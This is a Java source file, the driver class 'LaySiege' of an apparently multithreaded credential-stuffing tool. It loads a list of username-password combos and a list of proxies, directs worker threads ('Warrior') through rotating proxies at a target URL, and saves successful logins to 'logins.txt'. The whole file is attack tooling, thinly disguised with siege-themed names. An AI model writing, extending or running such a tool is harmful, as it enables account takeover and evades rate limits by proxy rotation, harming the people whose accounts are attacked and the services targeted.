import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Queue;
import java.util.Scanner;
import java.util.Stack;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

public class LaySiege {

    public static void main(String[] args) {

	final int armySize = Integer.parseInt(args[0]);
	final String castleURL = args[3];
	final Stack<String> comboList = new Stack<String>();
	final Queue<String> disguiseList = new ConcurrentLinkedQueue<String>();
	final FileWriter fdump;

	try {
	    Scanner rCombo = new Scanner(new FileReader(args[1]));
	    Scanner rDisguise = new Scanner(new FileReader(args[2]));

	    fdump = new FileWriter("logins.txt", true);
	    // read in all proxies
	    while (rDisguise.hasNext()) {
		disguiseList.add(rDisguise.nextLine());
	    }
	    // read in all combos
	    while (rCombo.hasNext()) {
		comboList.add(rCombo.nextLine());
	    }
	    // construct data object with relevant information such as available
	    // proxies/combos and target url. this object is fed to the threads.
	    BattleData bdata = new BattleData(castleURL, comboList,
		    disguiseList);

	    BlockingQueue<Runnable> taskOrders = new LinkedBlockingQueue<Runnable>(
		    armySize);
	    ThreadPoolExecutor execpool = new ThreadPoolExecutor(0, armySize,
		    15, TimeUnit.SECONDS, taskOrders);

	    while (!bdata.isAvailableCombo()) {
		if (!bdata.isAvailableDisguise() == false
			&& 0 == execpool.getPoolSize()) {
		    System.out
			    .println("Fatal error: All proxies have failed to reach target. Exiting..");
		    System.out.println("Completed: "
			    + execpool.getCompletedTaskCount() + " attacks.");
		    execpool.shutdown();
		    System.exit(1);
		}
		if (taskOrders.remainingCapacity() > 0
			&& !bdata.isAvailableDisguise()) {
		    String ctmp = bdata.getCombo();

		    String[] disguise = bdata.getDisguise().split(":");
		    Runnable warrior = new Warrior(bdata, disguise[0],
			    disguise[1], ctmp, fdump);
		    System.out.println("Jobs left: " + comboList.size()
			    + " | Idle proxies: " + disguiseList.size()
			    + " | Current combo: " + ctmp);
		    execpool.execute(warrior);
		}
	    }

	    execpool.shutdown();
	} catch (FileNotFoundException e) {
	    e.printStackTrace();
	} catch (IOException e) {
	    e.printStackTrace();
	}
    }
}
